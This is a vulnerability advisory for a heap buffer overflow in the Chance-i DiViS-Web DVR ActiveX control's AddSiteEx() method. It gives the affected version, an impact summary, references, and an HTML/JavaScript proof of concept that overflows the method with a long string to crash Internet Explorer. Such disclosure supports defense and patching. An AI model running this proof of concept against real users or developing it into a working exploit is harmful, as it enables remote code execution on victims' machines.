Chance-i DiViS-Web DVR System ActiveX Control 'AddSiteEx()' Buffer Overflow Vulnerability

Bugtraq ID:	34468
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 10 2009 12:00AM
Updated:	Apr 13 2009 07:06PM
Credit:	Digital Security Research Group
Vulnerable:	Chance-i DiViS-Web DVR System 3.0.0.7
Not Vulnerable:

Chance-i DiViS-Web DVR System ActiveX Control 'AddSiteEx()' Buffer Overflow Vulnerability

Chance-i DiViS-Web DVR System ActiveX control is prone to a heap-based buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

Chance-i DiViS-Web DVR System ActiveX Control 'AddSiteEx()' Buffer Overflow Vulnerability

The following proof of concept is available:

<OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
<PARAM NAME="_Version" VALUE="65536">
<PARAM NAME="_ExtentX" VALUE="18203">
<PARAM NAME="_ExtentY" VALUE="13705">
<PARAM NAME="_StockProps" VALUE="0">
<PARAM NAME="Split" VALUE="4">
</OBJECT>

//server address
var g_sAddress = location.hostname;
var g_sId = "";
var g_sPwd = "";
var g_bLogin = false;
var g_nMaxCamera = 16;

// Port setting
var g_nImage = 3000;
var g_nControl = 3001;
var g_nSound = 8800;

var long_buff = "alexsint";

while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

DVR.Channels = 1;

DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll

Chance-i DiViS-Web DVR System ActiveX Control 'AddSiteEx()' Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Chance-i DiViS-Web DVR System ActiveX Control 'AddSiteEx()' Buffer Overflow Vulnerability

References:

• Chance-i Homepage (Chance-i)
  
• Microsoft Support Document 240797 (Microsoft)
  
• [DSECRG-09-035] Chance-i DiViS DVR ActiveX - Heap Overflow (DSecRG )
  
• [DSECRG-09-035] Chance-i DiViS DVR ActiveX - Heap Overflow (Digital Security Research Group)